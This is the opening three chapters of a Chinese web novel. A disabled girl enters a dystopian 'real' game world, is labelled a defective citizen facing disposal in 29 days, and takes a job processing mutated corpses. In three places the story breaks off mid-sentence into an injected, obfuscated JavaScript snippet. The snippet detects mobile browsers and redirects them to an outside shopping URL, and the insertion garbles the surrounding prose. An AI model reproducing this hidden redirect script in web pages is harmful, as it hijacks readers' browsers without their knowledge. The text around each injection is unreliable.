《废土最强残次品》 1. 01 幸运 雨下了一整天。 不是暴雨,是那种细密的、没完没了的雨。打在窗玻璃上,顺着那道裂开的缝隙渗进来,在窗台上积成一滩。那滩水越积越满,满到边缘快要撑不住,一滴新的雨水落下,就溢出来一小股,顺着墙面慢慢往下爬。 秦萧盯着那滩水看了很久。 房间里很暗。光线被灰色的云层滤过一遍,照进来的时候已经没了力气,软塌塌地瘫在墙壁上,像一层洗不掉的旧渍。墙角发霉的地方颜色更深了一些,霉斑像活的,在潮湿里悄悄蔓延。 风扇在头顶吱呀呀地转,声音单调得让人发困。三档,扇叶上落了灰,每转一圈就发出一点轻微的嘎吱声,像快要散架。 她已经这样坐了半个小时。 手机响到第三遍,她才伸手捞起来。 “小秦啊,实在对不起!”电话那头是刘阿姨,声音里带着明显的为难,“我这边有点事儿,今天还是没法过去了……” 秦萧张了张嘴,发现自己嗓子有点干。 “嗯。” “你吃饭咋办?要不要我给你叫个外卖?” “不用。” “那明天的——” “你忙你的。” 她挂了电话,把手机扔回床上,继续盯着那滩积水。 窗外的世界被雨揉成一片模糊的灰。对面楼的轮廓几乎看不清,只剩一个深灰色的影子。 她低头看了一眼自己的腿。 被子下面,是空的。 --- 家里的食物告急,秦萧坐着轮椅出门的时候,雨已经小了一些。 细密的雨丝落在伞面上,发出沙沙的轻响。巷子里的积水映着灰白的天,轮椅碾过去,搅碎了一地的倒影。便利店的灯光在雨里晕成一团模糊的黄色,像一颗快要融化掉的糖。 她推门进去,门上的风铃叮当响了一声。 方便面货架在最里面。她推着轮椅慢慢过去,目光从一排排包装上扫过。红烧牛肉、鲜虾鱼板、老坛酸菜。 她随便拿了一桶。 结账的时候,收银台旁边的小电视正放着广告。 秦萧本来是没打算看的。但画面太炸裂了,引得人目光驻足。 废墟。 铺天盖地的废墟。 倒塌的高楼像折断的肋骨,扭曲的钢筋戳向灰黄色的天空。一辆报废的巴士横在画面中央,车身布满弹孔和锈迹,车窗玻璃早就碎光了,黑洞洞的像空洞的眼眶。 然后画面动了。 一个身影从废墟顶端一跃而下。 那是一个肌肉虬结的人,战甲和他的身体融为了一体,不是穿在身上,是长在身上,黑色的金属贴附着肌肉的纹理,关节处流动着淡蓝色的光,那光芒随着他的动作明暗变化,像呼吸。 他在空中翻转,落地,没有停顿,继续狂奔。 镜头跟在他身后,推进—— 他的腿。 肌肉绷紧,每一根肌腱都清晰可见,每一次落地都踩得结实,溅起尘土。他跳过一道裂开的公路,越过的瞬间有碎石崩飞。他穿过一辆燃烧的残骸,火焰在他身后拉出一道残影。 他跑得那么快。 快得像可以甩掉一切。 画外音就在这时响起,低沉的男中音,像直接压在心口上: “你想体验真正的自由吗?” 画面切换。另一个角度。那个奔跑的人影变成了小小的一个黑点,冲进无边的荒野。 “你想奔跑在无边无际的荒野上吗?” 画面再切。那人的正脸——年轻,眼神锋利,嘴角有一道疤。汗水顺着下颌线滑落,但他在笑。不是那种得意张扬的笑,是那种呼吸着、奔跑着、用力活着的人才会有的笑。 “《废土深渊》,百分之百真实的异世界。” “在这里,你可以成为任何人。” 那人看着镜头,嘴角的疤扯动了一下。 “可以做到任何事。” 然后他开始跑。 从画面的最深处跑到最近处,跑到仿佛下一秒就要冲出屏幕,跑到周围的空气似乎都在震颤。 自由在呼啸。 呼吸在加速。 力量在每一块肌肉里膨胀,叫嚣,想要冲破皮肤。 秦萧低下了头,看着自己的轮椅。 那条广告还在放。音响里传来激昂的音乐和奔跑的脚步声。一声一声,像踩在她心口上。 秦萧扫码付钱,把那桶泡面塞进轮椅后面的袋子里,推门离开了便利店。 门上的风铃又叮当响了一声。 --- 外面的雨又大了。 不是那种细密的雨,是砸下来的雨。雨滴又大又重,砸在伞面上发出噼里啪啦的声响,砸在地上的水洼里溅起一朵一朵的水花,每一朵都在瞬间绽开又瞬间破碎。 秦萧撑着伞,轮椅在坑坑洼洼的人行道上慢吞吞地往前挪。轮子碾过一块松动的地砖,发出咯噔一声响,溅起的脏水打在她裤腿上。 路过巷口的时候,她听到了小孩的叫声。 “踢它!踢它!” “哈哈哈躲什么躲!” “你踢左边我踢右边!” 秦萧拐过弯,看见几个半大孩子围成一团。 他们穿着附近小学的校服,书包扔在地上,已经被雨水浸透了。几个孩子围成一个半圆,正拿脚踹什么东西。 那东西缩在墙角。 浑身漆黑。 湿透了。 抖成一团。 秦萧眯起眼看了一下——像猫,又不太像猫。比猫大一点?还是因为湿透了显得大?黑乎乎的,看不清品种,只能看出一个模糊的轮廓缩在墙根底下,拼命把自己往墙缝里挤。 “你们在干什么?” 她喊了一声。 几个孩子回头。 看见她坐在轮椅上,伞歪向一边,头发被雨打湿了贴在脸上,露出下面苍白的皮肤和没什么血色的嘴唇。 他们的表情从警惕变成了不屑。 “关你什么事,瘸子?” 秦萧冷冷地说:“虐待动物?你们家长呢?” “走啦走啦,真晦气。” “呸,多管闲事的死残疾!” 领头的男孩最后踢了一脚,几个孩子捡起书包,骂骂咧咧地跑了。跑的时候还回头看了一眼,嘴里嘟囔着什么,被雨声盖住了。 巷子里安静下来。 只剩下雨声。 砸在地上的,砸在铁皮棚顶的,顺着墙根流淌的。各种声音混在一起,把这条窄巷填得满满当当。 秦萧看着墙角那团黑乎乎的东西。 它没有动。 还是缩成一团,湿漉漉的,看不出来是死是活。 秦萧也没动。 就这么隔着几米远的距离,在雨里看着它。 它抬起头。 然后秦萧看见了一双眼睛。 琥珀色的。 只看了几秒。 然后它站起来,抖了抖身上的水,转身跑了。 四只脚。细长的尾巴。跑起来无声无息。 很快就消失在雨幕里,融进那片灰蒙蒙的颜色里,再也看不见。 --- 雨越下越大。 秦萧不知道自己是怎么摔的。 可能是轮胎打滑,可能是那块松动的地砖终于撑不住了。 等她反应过来的时候,她整个人已经趴在地上。 伞飞了,落在几米外,骨架上还卡着一片菜叶,在雨里晃晃悠悠的。 那桶泡面从袋子里滚出来,一路滚下坡,滚进路边的排水沟里。 秦萧趴在湿冷的地面上。雨水混着泥水糊了她一脸,流进眼睛里,涩得睁不开。手肘和膝盖传来钻心的疼,不知道是破了还是磕着了,疼得她整条手臂都在发抖。 积水里有她的倒影。 模糊的,扭曲的,被雨滴打碎的。 她咬着唇用手撑着地面,一点一点把自己挪起来。 轮椅倒在几米外。 她爬过去。 爬上湿滑的坡。 手擦破了皮,沙子和泥嵌进伤口里,疼得钻心。膝盖蹭在地上,每爬一步都像被砂纸打磨。 她没管。 扶正轮椅,把自己撑上去。 衣服全湿透了,贴在身上,重得像灌了铅。头发一缕一缕地贴在脸上,往下淌水,滴在轮椅上,滴在地上,滴在她自己的手背上。 狼狈不堪。 --- 回到家的时候,天已经快黑了。 秦萧在浴室里冲了很久的热水,把那层黏腻的寒意冲掉。伤口疼得更清楚了,但她没管。只是站在水流底下,闭着眼睛,让热水从头顶淋下来,冲掉泥,冲掉沙,冲掉那些她不想想的东西。 从六岁开始,她已经残疾十二年了。 十二年。她试着去数这个概念——四千三百八十多天。时间早就变成了一种黏稠的东西,不像别人说的那样“飞逝”或“漫长”,只是黏着,一天粘着一天,怎么也甩不掉。 最开始那几年,她还小,不懂什么是永远。她以为坐轮椅就像感冒,会好的。后来懂了。懂了之后,反而没什么感觉了,就像伤口结痂后长了新皮,新皮又被磨出茧子,茧子厚到一定程度,就再也感觉不到疼了。 只是偶尔,在某些瞬间,会有一丝什么东西从心底最深处浮上来。说不清是什么。不甘?愤怒?委屈?太模糊了,模糊到她懒得去辨认。 热水还在冲。身上那层寒意冲掉了,但身体深处好像还冻着一块,怎么都冲不暖。 秦萧坐在床边擦头发,动作机械,脑子里空的。毛巾一下一下地擦过头发,擦了很久才发现 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17319295|199036||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 根本还没干。 窗外的雨不知道什么时候停了。 很安静。 安静得她能听见自己的心跳声。 然后她看见门缝底下塞着一张纸。 花花绿绿的。 秦萧盯着它看了几秒。 那纸就塞在那里,一半露在外面,一半隐在门缝里,像在等她发现。 她把毛巾扔一边,推着轮椅过去,弯腰捡起来。 是那张游戏的宣传单。 废墟、火焰、奔跑的人影。 那几个字刺进眼睛里——《废土深渊》 秦萧皱起眉。不就是她刚刚在便利店看到的那个广告么?怎么都发到她家门口来了? 她把传单翻过来看了看,又翻回去,确认就是同一个游戏。 然后她打开电脑,准备玩几分钟试试看。 输网址。 进页面。 然后是一行一行慢慢浮现的文字。 【这个世界是真实的。】 真实的伤害。真实的死亡。真实的活着。 【你只有一次离开的机会。】 想清楚再用。 【愿力无穷。】 你所渴望的,会成为你的力量。 【不要忘了你是谁。】 从哪儿来,为什么来。 【最后——】 祝你此行快乐,幸运者。 秦萧的手指在鼠标上停了几秒,挑了挑眉,这游戏整这几句话多少有点故弄玄虚的感觉,最后的幸运者,是在说她吗?幸运这个词,从没了双腿后,就跟她没什么关系了。 然后她点了【同意】。 屏幕暗了一下,又亮起来。 【正在进行身份验证……】 【验证通过。】 【欢迎您,玩家秦萧。】 【请选择您的阵营。】 两个选项出现在屏幕上—— 左边是一个冷白色的光团,上面写着【联邦·人类】。 右边是一个暗金色的光团,上面写着【异人·异血】。 异人是什么? 她没听说过。 她选了左边。 【阵营确认:联邦·人类】 【接下来,请选择您的初始异能。】 屏幕上骤然亮起。 卡片缓缓旋转,每一张都在展示自己的背面,每一张都在等着被选中。 秦萧看着那五张卡片。 第一张,银白色。光芒是冷的,像冰,像刃。卡片背面的纹路是无数道细密的刻痕,层层叠叠,锋利得仿佛看一眼就会划伤眼睛。 第二张,青色。光芒流动,像风,像水。卡片背面的纹路是飘忽的、无形的、捉摸不定的。 第三张,金色。光芒是暖的。不是那种灼热的暖,是那种温和的、沉静的、像黄昏时最后一缕阳光落在手背上的暖。卡片背面布满细密的纹路,起初只觉得繁复纠缠,可凝视片刻,那些扭曲的线条渐渐收拢、凝定,隐约现出一座熔炉的轮廓。 第四张,赤色。光芒灼人,像火,像血。卡片背面的纹路是燃烧的、爆裂的、充满攻击性的。那光芒太烈了,仿佛靠近就会被烧成灰。 第五张,紫色。光芒幽深,像雷电,像深渊。卡片背面的纹路是游走的、跳动的、不安分的。它在闪烁,在变幻,像下一秒就会劈下来。 她的手悬在鼠标上。 选什么? 她脑海里忽然闪现了雨中那只小猫琥珀色的眼睛。 秦萧的鼠标点在了第三张卡片上。 金色的。 卡片翻转过来。 屏幕正中央,金色的光芒从符号的中心亮起,像有什么东西正在苏醒,光芒越来越亮,越来越盛,从屏幕里溢出来,映在秦萧脸上。 光芒大盛。 然后——【恭喜你,幸运者。】 这行字浮现出来的时候,是金色的。不是普通的金色,是那种浓得像熔化的金属一样流动的金色。 秦萧愣住了。 【你得到异能「万物熔炉」】 【稀有度评估:S级潜力】 【世界持有者:1人】 秦萧盯着那行字,脑子有点转不过来,1人???岂不是只有她一个…… 字还没来得及读完,屏幕暗了下去。黑暗。 只持续了一秒。 然后她发现自己站在一片虚无的空间中。 脚下什么都没有,头顶什么都没有,四周什么都没有。只有无尽的灰白色雾气,缓慢地流动,像活的一样。 一个声音在她耳边响起。 那个声音没有来源。 就像直接出现在她脑子里。 【欢迎来到废土世界,秦萧。】 【希望你得偿所愿。】 下一秒—— 天旋地转。 2. 02 真实 秦萧是被臭味熏醒的。 不是普通的臭。是那种混着腐烂的肉、生锈的铁、刺鼻的药水,还有某种说不清的化学剂——像有什么东西死了一百天还没埋,偏偏又被人翻出来晒太阳的臭。 她睁开眼。 头顶是开裂的水泥板,露出一截生锈的钢筋。发黑的水渍从裂缝里渗出来,顺着墙面淌下去,淌成一道一道的痕迹。墙角堆着发黄的旧报纸,几件灰扑扑的衣服挂在铁丝上。窗户用塑料布糊着,但挡不住风,冷风从缝隙里钻进来,吹得塑料布噗噗作响。 她低头。 两条腿。 穿着灰色工装裤的腿。 秦萧盯着它们看了半秒,没有动。她先是把手伸进被子里,用力掐了一下大腿内侧。疼的。真实的、尖锐的疼,不是梦里那种雾蒙蒙的感觉。 然后她才开始动。把腿伸直。弯起来。再伸直。脚趾头动一动。膝盖动一动。 她把右脚慢慢抬起来,用手托住,她看着自己的脚掌,五根脚趾因为用力而微微蜷缩。这是她十二年来,第一次用“手”去触碰自己的“脚”。 眼眶突然就酸了一下。 她迅速眨了眨眼,把那股热意压下去,然后一把掀开被子,撑着床沿想站起来。刚一起身,腿一软,整个人差点栽下去。她手忙脚乱地扶住床架,心脏砰砰直跳。 她真的站起来了。 十二年。四千三百多天。她已经没走过路了。 这双腿是好的,但她的脑子早就忘了怎么用它们。她扶着床架,一点一点地直起身。膝盖在抖,脚踝在抖,大腿的肌肉在抖。那种抖不是害怕的抖,是用力的抖,是太久没用过之后突然被唤醒的抖。 她站了一会儿,等腿抖得不那么厉害了,才敢松手。 她站着。就那么站着。 窗外的塑料布还在噗噗响。风吹进来,凉凉的,打在她小腿上。她能感觉到那阵风,能感觉到皮肤上起的鸡皮疙瘩,能感觉到脚底踩的地面是凉的。 这游戏还挺真。 秦萧抬手抹了把脸。来不及让她多消化,门被踹开了。 “秦萧!还他妈躺着呢?上班了!好不容易给你调的岗,别迟到了!” 一个粗哑的嗓子砸进来。紧跟着是一张油腻的脸,眼睛小得像两颗绿豆,镶在那张脸上。他穿着和她一样的灰工装,胸口印着褪色的编号。 上班?上什么班?玩游戏还上班? 绿豆眼被她看得有点发毛,啐了一口:“看什么看?赶紧的!今天新到一批货,晚了连汤都喝不着!” 门砰的一声摔上了。 秦萧站在原地,没动。 她慢慢低下头,看向床头。 那里放着一块灰扑扑的金属牌。巴掌大小,边缘磨损得厉害,上面刻着几行字。 【姓名:秦萧】 【公民等级:五等(红标)】 【基因评定:残次品】 【建议:定期检测,避免生育】 【距离最终公民等级评测:29天】 秦萧盯着那行字,读了整整三遍。 五等?残次品?29天? 这是在说什么? 她想着如果是游戏世界的话,怎么说都该有系统的吧?她试探性地在心里默念了一声。 ——系统。 一道光幕在她眼前展开。那光幕是半透明的,像一层薄薄的纱悬在空气里,上面的字一个一个浮现出来。 果然有。 【欢迎您,玩家秦萧。检测到您处于新手引导阶段,是否需要查询“公民等级”相关信息?】 是。 她选了【是】。 光幕上的字开始变化。那些字一个一个浮现,清晰,平静,没有任何情绪。 【公民等级制度说明:】 【废土世界将所有公民按基因质量和社会价值划分为五个等级。】 【一等公民:精英/决策层。联邦高官、最高科学院院士、巨型企业掌控者及其直系亲属。享有最高规格资源与法律豁免权。】 【二等公民:支柱/专业层。高级军官、高级研究员、A-B级及以上异能者。优渥薪金与完整医疗。】 【三等公民:标准/生产层。普通军官、技术工人、C-D级异能者。社会的中坚力量,享有完整公民权利。】 秦萧一行一行往下看,手指不自觉地攥紧了。 【四等公民:辅助/预备层。初级劳工、E-F级异能者。居住内城边缘,权利受限,从事繁重工作。】 【五等公民:消耗/监管层。基因评级低下、无异能或极微弱不稳定异能者。贫民窟主体。】 光幕停了一下。 然后跳出一行字: 【您当前身份:五等公民——“残次品”】 秦萧盯着那三个字。 残次品。 光幕还在滚动。 【每年进行一次公民等级检测。18岁为最后一次检测。若18岁后仍被评为五等公民,将启动“清退程序”。】 秦萧的呼吸停了一拍。 【清退程序说明:】 【第一步:回收公民身份芯片。】 【第二步:进入“资源回收中心”进行无害化处理。】 【第三步:器官及可用组织入库,剩余部分统一销毁。】 秦萧看着那行字,忽然觉得有点想笑。 无害化处理。器官入库。剩余部分销毁。 说得真好听。 说得好像她不是一个人,是一堆可以拆解的零件。 她低头看着自己的腿。这双十二年没动过的腿,刚站起来不到十分钟,就要被“入库”了? 【距离你最后一次公民等级评测还有29天。29天后,若依旧被评为五等公民,即被启动清退程序。】 光幕消失了。 秦萧站在原地,脑袋嗡嗡的。 不待她过多的反应,门又被踹开了。 “走不走啊你?”绿豆眼探进半个脑袋,“磨蹭什么呢?再磨蹭今天名额没了,你喝西北风去?” 秦萧把牌子塞进口袋,跟着他走了出去。 --- 工厂在贫民窟的最边缘。 穿过三条污水横流的巷子,绕过一座垃圾山,再翻过一道锈迹斑斑的铁丝网,就到了。 说是垃圾山,其实是真的一座山。废铁、塑料、旧电器、破衣服、腐烂的食物,一层一层堆上去,堆得比旁边的房子还高。有些地方在冒烟, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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厂房很大,大到说话都有回音。铁皮顶很高,高得看不见顶,只有几根粗大的钢梁横在上面,挂着一排排昏暗的灯。灯是那种老式的白炽灯,发出昏黄的光,照得整个厂房像黄昏时分的废墟。 但秦萧注意到的不是这个。 是味道。 刚才在外面闻到的臭味,和这个比起来,简直像香水。这里的味道是厚重的、有实体的、能用手抓一把塞进嘴里的那种臭。混着血腥、腐肉、消毒水、还有某种说不清的化学药剂。 秦萧屏住呼吸,开始打量四周。 厂房中央摆着一条传送带,二十米长,正在缓慢转动。黑色的橡胶带,边缘沾着暗红色的东西,已经干涸了,结成块状。 传送带上躺着东西。 她抬眸看了一眼,胃里立刻翻江倒海。 就在这一瞬间,秦萧清晰地认识到了。 这不是梦。 这是真的。 她真的来到了废土深渊,那个百分之百真实的异世界。 3. 03 燃料 那些东西勉强能看出来是人的形状。 有头的,没头的。有四肢的,没四肢的。有的躺得很整齐,像睡着了;有的扭曲着,像死前挣扎过。皮肤是灰白色的,有的地方发青,有的地方发紫,有的地方裂开,露出里面更深颜色的组织,还在一滴一滴渗液体。 传送带在转。 咯吱。咯吱。咯吱。 那声音像骨头在磨骨头。 旁边站着几个人,穿着和秦萧一样的灰工装,手里拿着长长的铁钩子。每当一具尸体滑过来,他们就钩一下,把尸体钩正,或者把翻出来的组织塞回去。动作机械、熟练,像在流水线上处理猪肉。 秦萧站在传送带旁边,没动。 她盯着那些尸体,不知道这是什么东西。 但明显,这不是普通人的尸体。 一个独臂男人走了过来。周围的人下意识地给他让开一条路,点头或低声打着招呼。他姓韩,刚才排队时秦萧就知道了,是这儿的老人,已经干了六、七年。 老韩的动作很麻利。他站在传送带右侧,左手握着铁钩,等一具畸化体滑过来,他用钩子轻轻拨一下,把它拨正。然后他弯下腰,凑得很近,近到防护面罩都快贴上去,眯着眼睛仔细端详。 “这具没有处理价值。”老韩直起腰,朝旁边喊了一声,“二号线,来个人。” 话音刚落,两个穿密封防护服的人推着一个金属车过来了。他们把畸化体从传送带上抬下来,扔进车里,推走了,全程没有说话,没有表情。 秦萧开口:“为什么不行?” 虽然真实,可她心底就把这里当做游戏世界,并没有多顾虑。 既然是游戏世界,就要通关,就要搜集各种信息。 老韩回头看了她一眼。 “畸变度太高了。”他说,“你看不出来?那洞边上的颜色,都发紫了,那是活性畸变组织扩散的迹象。这种不能留,送焚化炉,必须烧透。” 秦萧在心里默念了一下那个词——畸化。 系统光幕悄无声息地弹了出来。 【畸化:被畸变源感染的生物,不限于人类。感染后身体组织会发生不可逆变异,最终完全丧失人类特征。根据畸变程度分为Ⅰ-Ⅴ级,Ⅴ级为完全畸化体,已无任何人类器官残留价值。】 【活性畸变:畸化体死亡后,部分组织仍可能保持活性。活性组织呈紫色,接触可导致二次感染。】 秦萧看完,光幕自动消失。 老韩的声音接上来:“发紫的就是不行,里面的核心器官早就液化或者异化了,没价值了。” 秦萧盯着传送带上滑过来的下一具。 这一具没有洞,但手很长。那双手就那么耷拉在传送带边缘,随着传送带的震动轻轻晃动,像还活着。 老韩看了她一眼:“新人?” 秦萧点头。 “知道为啥咱这活儿工资高不?” “因为容易被感染?” “感染只是其一。”老韩用钩子点了点传送带上的东西,“这些玩意儿,刚猎杀送来的时候,值钱。它们体内凝结的‘畸变核心’,还有那些没被完全侵蚀的器官,像是心脏、肝脏、肾脏什么的,都是研究所和上层区争着要的货。一颗保存完好的畸化体肾脏,够你买三个月的命。能用的全被摘走了。摘完剩下来的,才是咱处理的。” 秦萧沉默了几秒。 她低头看了一眼自己。瘦弱,苍白,一个红标。只剩下29天。 老韩又嗤了一声:“别想了。你一个红标,想卖器官都没人要。你身上那点原装货,人家看不上。” 秦萧:“……” 老韩上下打量了一下秦萧,不过是一个麻杆一样仿佛风一吹就会倒的小姑娘,他叹了口气:“行了,别愣着了。”老韩说,“来,我教你。” --- 老韩教得很细。 先怎么看,再怎么闻,最后怎么碰。秦萧在旁边听着,点头,偶尔问一句。 正说着,厂房那头走过来两个人。 瘦的那个叫赵四,胖的那个叫李壮。两人勾肩搭背,晃晃悠悠地往这边走,眼睛往秦萧身上瞟。 “哟,来新人了?” 赵四凑过来,围着秦萧转了一圈,从上打量到下。那目光像舌.头,黏糊糊的,在人身上舔。 “长得还行啊。”他咂了咛嘴,“就是瘦了点,不知道经不经折腾。” 李壮在旁边笑,笑得很难听。 秦萧没说话,只是抬起眼皮冷漠地看了他们一眼。 赵四被她那一眼看得有点不舒服,脸上的笑僵了一瞬,随即变得更恶劣。他伸出手,想往秦萧脸上摸。 老韩皱起了眉头:“干什么呢?” 赵四立马把缩回去,脸上立刻堆起笑,点头哈腰的,“韩哥,我就是看看,看看,没别的意思。” 老韩没说话,只是把手里的铁钩往传送带上一搭。 咣当一声。 赵四和李壮同时往后退了一步。 “韩哥您忙,您忙,我们就是路过,路过。”赵四弯着腰,脸上笑得像开了花,一边说一边往后退,“不打扰您教新人,我们那边还有活儿,先走了先走了。” 李壮也跟着点头,哈着腰,两个人像两只夹着尾巴的狗,一溜烟跑没影了。 秦萧看着那两个人的背影,又看了看老韩。 他们都是老韩带出来的。刚进场那会儿,也没少被欺负,被抢过营养液,被推去处理最脏的活儿,被堵在厕所里扇过耳光。那时候的他们,和现在的秦萧一样,缩着脖子,不敢吭声。如今混出来了,见了新人,第一反应不是帮一把,是往上踩一脚。 老韩已经低下头,继续检查下一具畸化体。 “不用管他们。”他说,“在这儿,干活才是王道。” 因为工作性质太过危险,这里的工资都是日结,按“件儿”计价。 秦萧点了点头,拿起铁钩,站到传送带另一边。她现在弱小,没有反抗的能力,有朝一日,她要把巴掌呼那两人脸上。 老韩:“别让任何液.体溅到你身上。一滴都不行,那是感染的主要途径。虽然说运输到咱们这儿的,已经都是死了超过八个小时的,理论上没有风险,但是一定要谨慎。溅到了马上报告,会有专人来处理。” 秦萧点头。 老韩看了她一会儿,突然问:“你不怕?” 秦萧:“还行。” 新人第一次进来,十个有九个吐,有一个直接晕过去。她倒好,还行。也不知道是真的有胆量,还是装的。 老韩摇了摇头,把铁钩往传送带上一搭,开始干自己的活。 秦萧在旁边看着。看着他一具一具地检查,看着他把能留的拨到一边,把不能留的喊人来推走。看着他偶尔停下来,从口袋里摸出一根皱巴巴的烟,用打火机点着,深深吸一口。烟雾从面罩的缝隙里挤出来,在他脸前缭绕。 然后她走到传送带旁边,站在老韩对面。 “我来试试。” 她只有29天,要争锋多秒。 老韩挑了挑眉,用钩子把一具畸化体拨到她面前。 那具比较完整,没什么明显的伤口,脸还在,只是闭着眼睛,像睡着了一样。 “边角料。”老韩说,“身上没什么有用的东西了,就是一堆随时可能活化的畸变肉块,直接扫下来送焚化炉就行。” 秦萧看着那具畸化体。 年轻的。男的。二十出头的样子。眉骨很高,鼻梁挺直,如果不是躺在这里,五官称得上英俊。但秦萧知道,这只是畸变前的残留形态。 她举起铁钩。 钩子很重。冰凉的金属质感透过厚厚的手套传到手心。她把钩子伸过去,在畸化体肩膀的位置轻轻拨了一下。 尸体没动。 她加大了一点力气。 尸体翻过来了。 翻过来的时候,尸体的手臂甩了一下,差点打到她。她往后退了一步,稳住。 老韩在旁边看着,没帮忙。 秦萧深吸一口气,又走上前。 她把尸体拨正。检查了一遍。颜色正常,没有紫的,没有绿的,没有奇怪的液体渗出。 “可以吗?”她问。 老韩点了点头。 秦萧用钩子把尸体钩住,往旁边拖。拖了三米,拖到传送带边缘的一个铁皮槽里。那槽是专门装“边角料”的,满了会有人来推走。 她把尸体放进去。 放下去的那一瞬间,尸体的手垂下来,搭在铁皮槽边缘。 然后她转身,走回传送带旁边。 “下一具。”她说。 老韩的眼睛慢慢睁大了。 不仅仅是因为秦萧不害怕。 更是因为她上手太快了。 新人第一次碰畸化体,就算不吐,也会手抖。这是本能。人体的本能,面对异类时刻在基因里的避让本能。但秦萧没有。 她的动作很稳。稳得不像第一次。 老韩在旁边看着:“你之前干过?” “没有。” “真的没有?” “没有。” 老韩盯着她看了几秒,“嗯,继续。” --- 中午休息的时候,秦萧去洗手,一直洗了四遍,皮肤都皱了,她还是觉得脏。 最后她放弃了。 那股腥臭味好像已经渗进皮肤了。 食堂在厂房外面,一个搭起来的铁皮棚子。棚子里摆着几张破旧的桌子,几条长凳,歪歪扭扭的。几十号人挤在里面,端着碗埋头吃饭,没有人说话。 秦萧端着碗站了一会儿。 碗里是一管营养液。 透明的,像水,又不像水。有一点黏稠,泛着淡淡的灰色。她看着那管东西,胃又开始翻涌。 她饿了。 从昨晚到现在,什么都没吃。胃在叫,在缩,在抗议。但她看着那管营养液,就是下不去嘴。 旁边的人都在喝。 咕咚咕咚,几口就喝完。喝完抹一把嘴,把空管往桶里一扔,站起来就走。没有人抱怨,没有人挑食,没有人说不好喝。 这里大多数人都来自贫民窟,吃饭只是为了活着。 秦萧深吸一口气,拧开盖子,灌了一口。 很难喝,让她有一种在喝汽油的感觉。 要活下去,秦萧稳了稳,又灌了一口。 …… 喝完的时候,她感觉胃还在翻涌,但食物进去了,那种饿到发慌的感觉消退了一点。 秦萧拿着空管,抬头看着棚子外面灰蒙蒙的天。 这什么苦逼世界。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17319297|199036||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>什么苦逼出身。 就这,系统还说她幸运? 幸运个屁。 --- 下午回到厂房,秦萧发现传送带上的东西变了。 不是外形变了,是状态变了。 更……完整了。 老韩站在传送带旁边,手里拿着铁钩,表情比上午严肃得多。 “下午这批是猎杀队亲自送来的。”他说,“畸化程度低,刚过八个小时,还没来得及处理。” 老韩看了看秦萧:“你毕竟刚干,要不你去——” “我可以。”秦萧打断他,她才不会放弃变强的台阶。 老韩顿了一下,抬眼看了看她。这姑娘从早上到现在,话没几句,活儿一件没落。他是从底层熬过来的,知道来这儿的都是挣命的。他不再坚持,“跟着我,谨慎点。” 秦萧点头。 她站到传送带旁边,看着一具畸化体慢慢滑过来。 年轻。男的。二十出头。胸口还微微起伏着,是残存的神经反射。皮肤苍白,但苍白之下,隐约能看到血管的纹路。 老韩开始干活。他的动作比上午快,比上午利落。拨、翻、看,这次不是看颜色,是看结构——畸变核心可能藏在哪个位置,周边器官的保存程度如何。一边看一边念念有词,像是在点数。 “这个好。”他突然说。 秦萧看向他。 “这个新鲜,应该刚过八个小时,没怎么扩散,能卖好价钱。”老韩用钩子点了点尸体的胸腔,说话的时候手没停,继续检查。 秦萧在旁边看得很仔细,学的也极快。 她以前残疾的时候,在家穿珠子、折纸盒、组装小零件,一坐就是一天。那些活比这精细多了,也比这更磨人。眼睛要尖,手要稳,心要定。 眼前这些,虽然危险的,但是只要拆分牢牢记住每一个步骤,并不难。 传送带上的畸化体一具接一具地滑过来。老韩没有停,她也没有停。一个下午,两个人处理了至少上百具。 老韩摇头:“太多了,不知道燃烧炉够不够用。” 这话让秦萧忽然想起早上抽到的那个天赋——【万物熔炉】。 还不知道怎么用。 她垂下眼,在心里叫出系统。光幕弹开,页面却灰着,像一堵砌死的墙。 她又试了一次。 还是灰的。 秦萧没再试。她把光幕关掉,继续盯着传送带。 一直到天快黑,老韩才歇下来。 他摘了手套,用手背揉眼睛。揉完,他从口袋里摸出根烟,点上,深深吸了一口。 厂子里都叫他“拼命三郎”。不是因为他能干,是因为他不要命。 一天三包烟,六杯黑水,能连轴转四十个小时不闭眼。一只手干活,比两只手的人还快。不仅对自己狠,对跟着他的人也狠。活儿干不完,谁也别想走。 三年下来,他带的班组换了二十多号人。没有一个人撑过两个月。 秦萧是今天刚来的。 老韩吐出一口烟,隔着烟雾看了她一眼。小姑娘话不多,手上没停过,该学的学,该问的问,不该碰的从来不碰。送到她跟前的活儿,一件没落下。 他想着,要是能留下来,倒是可以带一带。 烟抽完了。老韩把烟头碾灭,扔进旁边的铁桶,又站回传送带边上。 传送带还在转。畸化体还在滑过来。他左手握着铁钩,一具一具地检查。 灯光照在他背上,把他的影子拉得很长,投在那些一动不动的尸体上。 秦萧站在他对面,继续处理自己那一边,她已经越来越熟练了。 直到太阳西斜,厂房里的灯光显得更亮了。 秦萧又一次抬起头。 